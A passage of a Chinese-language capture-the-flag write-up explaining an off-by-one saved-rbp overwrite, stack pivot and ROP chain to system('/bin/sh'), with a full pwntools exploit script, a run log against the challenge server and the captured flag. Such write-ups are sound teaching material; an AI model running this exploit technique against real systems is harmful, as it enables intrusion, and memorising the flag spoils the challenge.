该地址是 check_in 中第一次输入缓冲区的地址。 第一次输入可以写入 0x70 字节,正好可以用来布置 fake stack 和 ROP 链。
随后程序进入 tag_editor,第二次输入的栈缓冲区只有 0x20 字节,但程序读取 0x21 字节,因此可以多写 1 字节,覆盖 tag_editor 保存的 rbp 最低字节。该保存的 rbp 实际上会影响上一层 check_in 返回时使用的栈帧。
check_in 结尾执行:
leave
ret
如果把 rbp 的低字节改成第一次输入缓冲区内的某个地址,则:
rsp = fake_rbp
pop rbp
ret
最终控制流会从第一次输入中布置好的 ROP 链继续执行。
需要注意的是:只能覆盖 rbp 最低 1 字节,因此并不是每次远程连接的栈布局都适合 pivot。脚本会自动重连,直到泄露出的缓冲区地址和原 rbp 位于可利用的同一 0x100 对齐块内。
利用目标选择程序内置函数:
nightly_audit = 0x4011fa
该函数内部会调用 system(rdi),比直接跳 system@plt 更稳定。
完整 exploit 如下:
#!/usr/bin/env python3
from pwn import *
import re
context.arch = "amd64"
context.log_level = "info"
HOST = "nc1.ctfplus.cn"
PORT = 46750
POP_RDI = 0x4011f1
NIGHTLY_AUDIT = 0x4011fa # nightly_audit(char *cmd) -> system(cmd)
BUF_SIZE = 0x70
def start():
return remote(HOST, PORT)
def build_payload(buf_addr: int):
old_rbp = buf_addr + 0x70
old_block = old_rbp & ~0xff
# fake rbp + pop rdi + arg + nightly_audit
chain_len = 4 * 8
for off in range(8, BUF_SIZE - chain_len + 1):
pivot_addr = buf_addr + off
# off-by-one 只能改 rbp 最低 1 字节,
# 因此 pivot_addr 必须和 old_rbp 在同一个 0x100 对齐块内。
if (pivot_addr & ~0xff) != old_block:
continue
# 进入 nightly_audit 时保持正常函数入口栈对齐:
# ret 到函数后 rsp % 16 应为 8。
if ((pivot_addr + 0x20) & 0xf) != 8:
continue
log.success(f"buf = {hex(buf_addr)}")
log.success(f"old rbp = {hex(old_rbp)}")
log.success(f"pivot = {hex(pivot_addr)}")
log.success(f"pivot off = {hex(off)}")
log.success(f"rbp byte = {hex(pivot_addr & 0xff)}")
payload = bytearray(b"A" * BUF_SIZE)
# 命令字符串放在第一次输入的 buffer 开头
payload[0:8] = b"/bin/sh\x00"
# check_in leave; ret 后:
# rsp = pivot_addr
# pop rbp -> fake rbp
# ret -> pop rdi; ret
# rdi = buf_addr -> "/bin/sh"
# ret -> nightly_audit -> system("/bin/sh")
rop = flat(
0x0,
POP_RDI,
buf_addr,
NIGHTLY_AUDIT,
word_size=64
)
payload[off:off + len(rop)] = rop
# 第二次输入:0x20 字节填充 + 1 字节覆盖 saved rbp 低字节
tag = b"B" * 0x20 + bytes([pivot_addr & 0xff])
return bytes(payload), tag
return None, None
def exploit_once():
io = start()
io.recvuntil(b"Claim check: ")
line = io.recvline().strip()
m = re.search(rb"0x[0-9a-fA-F]+", line)
if not m:
log.warning(f"failed to parse stack leak: {line}")
io.close()
return False
buf_addr = int(m.group(0), 16)
payload, tag = build_payload(buf_addr)
if payload is None:
log.warning(
f"bad stack layout, reconnect: "
f"buf={hex(buf_addr)}, old_rbp={hex(buf_addr + 0x70)}"
)
io.close()
return False
# 第一次输入:写入 fake stack + ROP
io.send(payload)
# 第二次输入:off-by-one 覆盖 check_in 的 rbp 低字节
io.recvuntil(b"night clerk:\n")
io.send(tag)
# shell 启动后自动读 flag,然后 exit 让连接关闭
io.sendline(b"cat /flag; cat flag; cat ./flag; exit")
data = io.recvall(timeout=3)
print(data.decode(errors="ignore"))
m = re.search(rb"ZJPCTF\{[^}]+\}", data)
if m:
log.success(f"FLAG = {m.group(0).decode()}")
return True
log.warning("no flag this round, retry")
return False
def main():
for i in range(1, 100):
log.info(f"try #{i}")
try:
if exploit_once():
return
except EOFError:
log.warning("EOF, retry")
except Exception as e:
log.warning(f"error: {e}, retry")
log.failure("failed after many retries")
if __name__ == "__main__":
main()
Step 2: 远程验证
运行脚本:
python3 exp.py
由于只覆盖 rbp 低 1 字节,部分连接的栈布局不可用,脚本会自动重试。成功的一次如下:
[*] try #10
[+] Opening connection to nc1.ctfplus.cn on port 46750: Done
[+] buf = 0x7ffcac941ed0
[+] old rbp = 0x7ffcac941f40
[+] pivot = 0x7ffcac941f08
[+] pivot off = 0x38
[+] rbp byte = 0x8
[+] Receiving all data: Done (164B)
[*] Closed connection to nc1.ctfplus.cn port 46750
Stamped. Come back before dawn.
ZJPCTF{c4f57f0f-bba9-40f7-9ff6-4b90ae7c3f53}ZJPCTF{c4f57f0f-bba9-40f7-9ff6-4b90ae7c3f53}ZJPCTF{c4f57f0f-bba9-40f7-9ff6-4b90ae7c3f53}
[+] FLAG = ZJPCTF{c4f57f0f-bba9-40f7-9ff6-4b90ae7c3f53}
Flag
ZJPCTF{c4f57f0f-bba9-40f7-9ff6-4b90ae7c3f53}

